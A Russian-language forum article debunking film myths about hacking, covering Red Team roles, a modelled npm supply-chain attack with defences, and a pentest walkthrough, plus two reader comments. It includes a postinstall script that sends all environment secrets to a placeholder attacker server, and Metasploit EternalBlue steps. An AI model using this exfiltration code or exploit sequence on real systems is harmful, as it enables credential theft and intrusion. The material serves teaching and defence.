Статья От Mr. Robot до суровой реальности: Как на самом деле ломают системы в 2025 году? Разбор для тех, кто хочет в Red Team

Забудь всё, что ты видел в кино про хакеров-одиночек в худи, что за пару минут ломают Пентагон под драйвовый саундтрек. Это чистая фантастика. В реальности хакинг – это не про озарение гения, а про холодный расчет, командную работу и тонны рутины. Кстати, вот полный разбор мифов кибербеза, который уже обсуждали на Codeby.

Содержание:

• Миф №1: Гений-одиночка в худи против всего мира. Почему это чушь собачья?
• От взлома E-Corp к реальности хакеров: Моделируем атаку на цепочку поставок
• Инструментарий 'Мистера Робота' на практике: От Nmap до Metasploit
• Популярные вопросы (FAQ): Развеиваем последние сомнения
• Присоединяйся к дискуссии!

Сегодня мы разберем, как на самом деле работают Red Team и серьезные APT-группировки, развеем популярные мифы о хакерах и покажем, какова реальность хакеров в 2025 году. Покажу тебе изнанку профессии и дам конкретные инструменты, которые действительно используют.

➤ Почему это важно? Потому что если ты хочешь попасть в offensive security, тебе нужно понимать реальное положение дел. Иначе ждет разочарование и ощущение, что тебя обманули.

➤ Готов? Тогда погнали. Мы перевернем твое представление о взломах.

Миф №1: Гений-одиночка в худи против всего мира. Почему это чушь собачья? ​

Все мы видели эту сцену: ночь, пустая комната, светится только монитор. Хакер-одиночка, щелчок клавишами — и Пентагон пал. Мощно? Да. Реально? Как гонки в "Форсаже" с поездкой на дачу.

В 2025 году и легальный пентест (то, чем занимается Red Team), и серьезные операции киберпреступных групп – это командный спорт. Забудь про Эллиота Алдерсона. Здесь все как в IT-консалтинге или военной операции.

Кто в команде и почему это важно?

Поверь мне, здесь нет места одиночкам. Все начинается с бюрократии и планирования.

Проект-менеджер и пресейл-инженер. Эти ребята – твоя первая линия. Они общаются с заказчиком, определяют скоуп (что можно и нельзя атаковать, чтобы не сесть в тюрьму). Подписывают горы бумаг, включая NDA и договор. Цена ошибки здесь – миллионные иски.

Team Lead (Тимлид). Опытный волк. Он разрабатывает стратегию атаки на основе скоупа. Решает, с чего начать: внешняя разведка, социальная инженерия или анализ исходников (White Box). И распределяет задачи между бойцами.

Middle/Senior пентестеры. Вот где основная работа. Это не просто "хакеры", это узкие специалисты.

• Один засядет в
  Ссылка скрыта от гостей
  , часами копая веб-уязвимости
  Ссылка скрыта от гостей
  корпоративного портала.
• Другой – спец по инфраструктуре. Nmap, сканирование сети, поиск уязвимых сервисов. Его стихия.
• Третий займется социальной инженерией: фишинг, звонки под видом техподдержки. Самый опасный вектор, кстати.

Они постоянно на связи. Обмениваются находками в чатах. Нашел учетные данные? Сразу передал коллеге. Командная игра.

Junior (Джун). А где же джун? Он на подхвате. Запускает длительные сканы, систематизирует инфу. Ищет публичные эксплойты searchsploit. Для него это боевая учеба под присмотром старших.

Технический писатель. Самый недооцененный, но критически важный человек! В больших компаниях он превращает логи и скриншоты в понятный бизнесу отчет на 100+ страниц. Без этого отчета все найденные уязвимости бесполезны. В маленьких командах пентестеры тратят на это до 40% времени проекта.

Киберпреступные группы работают так же. Только вместо отчетов у них цели по монетизации, а вместо договора – страх быть пойманными. Вывод один: современный хакинг — это про процессы, специализацию и коммуникацию. Точка.

От взлома E-Corp к реальности хакеров: Моделируем атаку на цепочку поставок (Supply Chain Attack) ​

В "Мистере Роботе" взломы были грандиозными. Апокалиптическими. Но в реальности один из самых разрушительных и незаметных векторов атак сегодня – это компрометация цепочки поставок (Supply Chain Attack).

Зачем ломать защищенную крепость, если можно подкупить поставщика кирпичей? В мире софта "кирпич" – это любая сторонняя зависимость: npm-пакет, Docker-образ, Python-библиотека.

Давай промоделируем реальный сценарий. Такой, который происходит каждый день. Атака на веб-приложение через npm-зависимость.

Этап 1: Разведка и выбор цели. Глубокое погружение.​

Атакующий не ищет victim-company.com. Он ищет ее зависимости.

Как? С помощью сервисов вроде Snyk или просто копаясь в package.json в публичных репозиториях на GitHub.

Например, находит небольшую, но популярную библиотеку: cool-async-validator-v2. Смотрит репозиторий: последний коммит год назад, у мейнтейнера пара проектов, активность низкая. Идеально. Цель найдена.

Этап 2: Компрометация зависимости. Как зайти через бэкдор.​

Есть несколько путей:

• Фишинг мейнтейнера. Самый частый. Письмо с "предложением о сотрудничестве" или "критической уязвимостью", ведущее на фейковую страницу логина npm/GitHub. Доступ получен. Новая версия пакета публикуется от имени автора.
• Typosquatting (Тайпсквоттинг). Публикация пакета с чуть измененным именем: cool-async-val1dator-v2. Разработчики ошибаются при наборе. И ты попадаешь.
• Поиск уязвимостей в самой библиотеке или в её CI/CD пайплайне. Тоже вариант.

Этап 3: Внедрение вредоносного кода. Маскировка.​

Доступ получен. Атакующий не будет добавлять очевидный вирус. Он добавит несколько строк обфусцированного кода в минорный файл. Например, в скрипт, выполняющийся после установки postinstall.
Вот пример такого кода (упрощенно) в postinstall.js:

// Malicious code hidden inside a legitimate-looking script
try {
const envData = JSON.stringify(process.env);
const encodedData = Buffer.from(envData).toString('base64');
const options = {
hostname: 'attacker-evil-server.com',
port: 443,
path: '/log',
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': encodedData.length }
};
const req = require('https').request(options);
req.write(encodedData);
req.end();
} catch (e) {
// Fail silently
}

Что делает этот код? Собирает все переменные окружения process.env. А там? Ключи API, токены, пароли от баз DB PASSWORD, AWS SECRET ACCESS KEY. Кодирует в Base64. Незаметно отправляет на сервер атакующего.

Затем публикуется новая "патч"-версия: 2.1.1 -> 2.1.2. Никто не заметит.

Этап 4: Заражение жертвы. Тихо, просто, фатально.​

Разработчик в victim-company.com видит обновление. Запускает npm update, чтобы быть "на последней версии". Или новый разработчик просто запускает npm install на проекте.

npm скачивает вредоносную версию. Скрипт postinstall отрабатывает. Все секреты из CI/CD-пайплайна или с машины разработчика утекают к атакующему.

Игра окончена.

Как защищаться (Blue Team)? ​

Это не приговор. Ты можешь защититься.

• Lock-файлы — твои лучшие друзья. Всегда используй package-lock.json или yarn.lock. Они жестко фиксируют версии зависимостей. npm install не подтянет новый вредоносный "патч" без твоего ведома.
• SCA-инструменты в CI/CD. Внедряй автоматические сканеры зависимостей: Snyk, Dependabot (в GitHub), OWASP Dependency-Check. Они предупредят о скомпрометированных пакетах.
• Аудит кода для критичных зависимостей. Если зависимость критически важна, проведи ручной аудит кода или используй только проверенные библиотеки от надежных вендоров.
• Изоляция сборок. Запускай сборку проектов в изолированных средах (Docker-контейнерах). Минимум прав. Никакого доступа к чувствительным данным.

Инструментарий 'Мистера Робота' на практике: От Nmap до Metasploit ​

Правда: за 5 минутами "экшена" на экране стоят 50 часов подготовки и анализа. Готов к правде?​

В сериале Эллиот просто садится и печатает команды. Результат мгновенный. Самый большой обман!

В реальности инструменты — это вершина айсберга. 90% работы – это часы монотонной разведки, анализа и бесчисленных неудачных попыток.

Давай пройдем по реальному, пусть и упрощенному, рабочему процессу пентестера.

Задача: Тест на проникновение внешнего периметра небольшой компании с IP-адресом 192.168.1.10 (в бою это будет публичный IP).

Шаг 1: Активная разведка (1-5 часов). Карта атаки.​

Цель – составить максимально полную карту поверхности атаки. Мы не просто пингуем! Мы используем Nmap для глубокого сканирования. Чтобы досконально разобраться в каждом флаге и опции, всегда

Ссылка скрыта от гостей

.

Забудь про nmap . Вот как выглядит команда в реальной жизни:

nmap -sV -sC -p- -T3 --min-rate=500 -oA nmap_full_scan 192.168.1.10

Разберем ее по частям, чтобы ты понял, зачем это нужно:

• -sV: Определить версию сервиса на каждом порту. Знать, что на 80-м порту веб-сервер — бесполезно. Знать, что это Apache 2.4.29 – вот это уже зацепка для поиска уязвимостей. Более того,
  Ссылка скрыта от гостей
  для глубокого погружения.
• -sC: Запустить набор стандартных скриптов Nmap (NSE). Они могут найти анонимный FTP, утечку инфы на веб-сервере и т.д.
• -p-: Критически важный флаг! Сканировать все 65535 TCP-портов, а не только дефолтные топ-1000. Вся соль может быть на неочевидном порту.
• -T3: В меру агрессивный тайминг. Ускоряет сканирование. Да, может быть "зашумлен", но время – деньги.
• --min-rate=500: Отправлять не менее 500 пакетов в секунду. Ещё быстрее.
• -oA nmap_full_scan: Сохранить результаты сразу в трех форматах (стандартный, XML, Grepable). Без качественного логирования ты работаешь впустую. Запомни это!

Кстати, если хочешь углубиться, на форуме есть подборка материалов по Nmap, включая книгу на русском.

Шаг 2: Анализ результатов и поиск уязвимостей (2-10 часов). Дьявол в деталях.​

Сканирование закончено. Отчет у нас.

Допустим, Nmap показал открытый порт 445 (SMB) и определил ОС как Windows Server 2008 R2. Это мощнейший триггер!

Что делает пентестер? Ищет известные уязвимости для этой комбинации. Инструмент №1 — searchsploit, локальная копия Exploit-DB.

searchsploit "windows server 2008"

Эта команда выдаст список эксплойтов. И вот тут ты, скорее всего, увидишь легендарный MS17-010, более известный как EternalBlue. Тот самый, из-за которого произошли WannaCry и NotPetya.

Шаг 3: Эксплуатация (30 минут - 5 часов). Когда начинается "кино".​

Вот только теперь мы открываем Metasploit Framework. Это не волшебная палочка, а швейцарский нож для применения уже найденных эксплойтов. Чтобы узнать больше о возможностях и установке, посети

Ссылка скрыта от гостей

.

1. Запускаем консоль: msfconsole
2. Ищем нужный модуль: search ms17-010
3. Выбираем эксплойт: use exploit/windows/smb/ms17_010_eternalblue
4. Смотрим опции: show options. Metasploit покажет, что нужно настроить. Как минимум, RHOSTS (IP цели).
5. Настраиваем цель: set RHOSTS 192.168.1.10
6. Настраиваем payload (то, что выполнится после взлома). Обычно Meterpreter — мощная оболочка для управления скомпрометированной системой. Metasploit часто подбирает его автоматом.
7. Запускаем: exploit или run.

Если повезло, ты получишь сессию Meterpreter с правами NT AUTHORITY\SYSTEM.

Но что, если не прошло? А не пройдет оно в 9 случаях из 10. Придется вернуться к анализу, попробовать другой эксплойт, проверить, не блокирует ли нас файрвол.

Вот это и есть рутина: гипотеза > проверка > неудача > новая гипотеза. И так по кругу. Десятки часов этой цикличной работы – вот что стоит за 5 минутами "экшена" в кино. Запомни.

Популярные вопросы (FAQ): Развеиваем последние сомнения ​

1. Можно ли стать пентестером, просто в совершенстве выучив Kali Linux?

Нет. Это как пытаться стать шеф-поваром, выучив наизусть все модели ножей. Kali Linux — это набор инструментов. Без фундаментального понимания сетей (TCP/IP, маршрутизация, DNS), операционных систем (процессы, права доступа в Linux/Windows) и основ программирования (Python/Bash для автоматизации, например,

Ссылка скрыта от гостей

, ты будешь просто "скрипт-кидди". Человек, который бездумно запускает чужие скрипты, не понимая, как они работают. Итог: ноль результата и фрустрация.

2. Сколько реально времени занимает "взлом", который в кино показывают за 60 секунд?

Коммерческий пентест — от одной недели до месяца. Разведка может занять дни, поиск точки входа — еще несколько, а развитие атаки внутри сети — недели. Операции APT-группировок длятся месяцами и даже годами, прежде чем их обнаружат. "Взлом за 60 секунд" — это миф, который игнорирует 99.9% работы: планирование, разведка, отчетность и бесчисленные неудачные попытки.

3. В чем главная ошибка новичков, которые вдохновились кино?

Прыгать сразу к "крутым" инструментам вроде Metasploit, пропуская основы. Они пытаются запустить эксплойт, не понимая, почему он не работает. Они не могут адаптировать его, потому что не знают, как он устроен.

Начинать нужно с базы:

• Построй свою виртуальную лабораторию.
• Научись настраивать сеть.
• Подними уязвимые машины (Metasploitable, Vulnhub).
• Попробуй "взломать" их вручную, а не одной кнопкой.

Только так ты поймешь, как все работает.

4. Насколько важна социальная инженерия в реальных атаках? Я думал, все решают технологии.

Социальная инженерия — это вектор атаки №1 в большинстве реальных инцидентов. Технологии могут быть настроены идеально, но всегда есть "человеческий файрвол", который можно обойти. Фишинговое письмо, заставляющее сотрудника ввести пароль на поддельном сайте, или звонок от имени "службы поддержки" для получения кода 2FA — зачастую самый простой и эффективный способ получить первоначальный доступ в защищенный периметр компании. Это не про хакинг, это про манипуляцию.

Присоединяйся к дискуссии: Теперь твоя очередь! ​

Я постарался максимально честно и без прикрас показать, в чем заключается подлинная реальность хакеров и работа специалиста по Offensive Security. Мы разобрали, что за каждым "взломом" стоит командная работа, методология и часы рутинного анализа. Мы смоделировали современную и крайне опасную атаку на цепочку поставок, которая гораздо ближе к реальности, чем взлом ФБР за две минуты.

Но это лишь мой взгляд, основанный на годах практики. Теперь слово за вами.

• Коллеги-пентестеры и Red Team'еры, какой киношный миф о нашей работе бесит вас больше всего? С какими самыми нелепыми ожиданиями от заказчиков вы сталкивались? Расскажите, нам интересно!
• Новички и те, кто только присматривается к профессии, какой этап из описанных кажется вам самым сложным и пугающим? Какие вопросы остались без ответа? Что останавливает вас на пути в кибербез? Спрашивайте, не стесняйтесь!
• Разработчики и DevOps-инженеры, как вы защищаете свои проекты от атак на цепочку поставок? Используете ли вы SCA-сканеры в CI/CD? Поделитесь своим опытом в комментариях!

И вот спорный тезис для обсуждения: я считаю, что сегодня без уверенного знания Python (или другого скриптового языка) и умения писать собственные инструменты, пентестеру невозможно вырасти выше уровня Middle. Готовые фреймворки хороши, но они бессильны против нестандартных задач.

Согласны ли вы с этим? Или можно быть успешным Senior-специалистом, в совершенстве владея лишь готовым инструментарием?

Давайте устроим здесь самую полезную дискуссию о входе в профессию. Делитесь своим опытом, задавайте вопросы, оспаривайте!

 

[Иван Писанов]

Крутейщая статья на жтом форому. Я конечно понимал что за 60 сек не получиться ничего хакнуть. Но всё же открылись глаза на многие вещи. Спасибо!

 

[Kot_oo]

Ну в принципе кто, более менее в этой сфере тут понятно все)) статья правдивая и интересная) в фильмах всегда все хорошо и все просто))